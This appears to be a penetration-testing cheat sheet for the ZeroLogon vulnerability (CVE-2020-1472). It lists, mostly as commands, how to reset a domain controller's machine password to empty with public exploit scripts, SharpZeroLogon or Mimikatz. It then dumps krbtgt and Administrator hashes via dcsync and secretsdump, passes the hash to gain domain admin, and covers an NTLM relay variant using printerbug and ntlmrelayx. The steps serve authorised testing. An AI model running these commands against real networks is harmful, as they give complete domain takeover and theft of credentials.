PenTest – ZeroLogon

CVE-2020-1472

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer’s AD password to null
5. From password change to domain admin
6.  reset the computer’s AD password in a proper way to avoid any Deny of Service
7. cve-2020-1472-exploit.py – Python script from dirkjanm

     # Check (https://github.com/SecuraBV/CVE-2020-1472)
     proxychains python3 zerologon_tester.py DC01 172.16.1.5
   
   $ git clone https://github.com/dirkjanm/CVE-2020-1472.git
   
   # Activate a virtual env to install impacket
   $ python3 -m venv venv
   $ source venv/bin/activate
   $ pip3 install .
   
   # Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
   proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
   
   # Find the old NT hash of the DC
   proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
   
   # Restore password from secretsdump 
   # secretsdump will automatically dump the plaintext machine password (hex encoded) 
   # when dumping the local registry secrets on the newest version
   python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
   deactivate
   

    

8. nccfsas – .NET binary for Cobalt Strike’s execute-assembly

   git clone https://github.com/nccgroup/nccfsas
   # Check
   execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
   
   # Resetting the machine account password
   execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
   
   # Testing from a non Domain-joined machine
   execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
   
   # Now reset the password back
   

    

9. Mimikatz – 2.2.0 20200917 Post-Zerologon

   privilege::debug
   # Check for the CVE
   lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
   
   # Exploit the CVE and set the computer account's password to ""
   lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
   
   # Execute dcsync to extract some hashes
   lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
   lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
   
   # Pass The Hash with the extracted Domain Admin hash
   sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
   
   # Use IP address instead of FQDN to force NTLM with Windows APIs 
   # Reset password to Waza1234/Waza1234/Waza1234/
   # https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
   lsadump::postzerologon /target:10.10.10.10 /account:DC01$
   

    

10. CrackMapExec – only check

    crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
    

     

A 2nd approach to exploit zerologon is done by relaying authentication.

This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity. The following prerequisites are needed: * A domain account * One DC running the PrintSpooler service * Another DC vulnerable to zerologon

• ntlmrelayx – from Impacket and any tool such as printerbug.py

  # Check if one DC is running the PrintSpooler service
  rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
  
  # Setup ntlmrelay in one shell
  ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
  
  #Trigger printerbug in 2nd shell
  python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
  

References

• Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) – Tom Tervoort, September 2020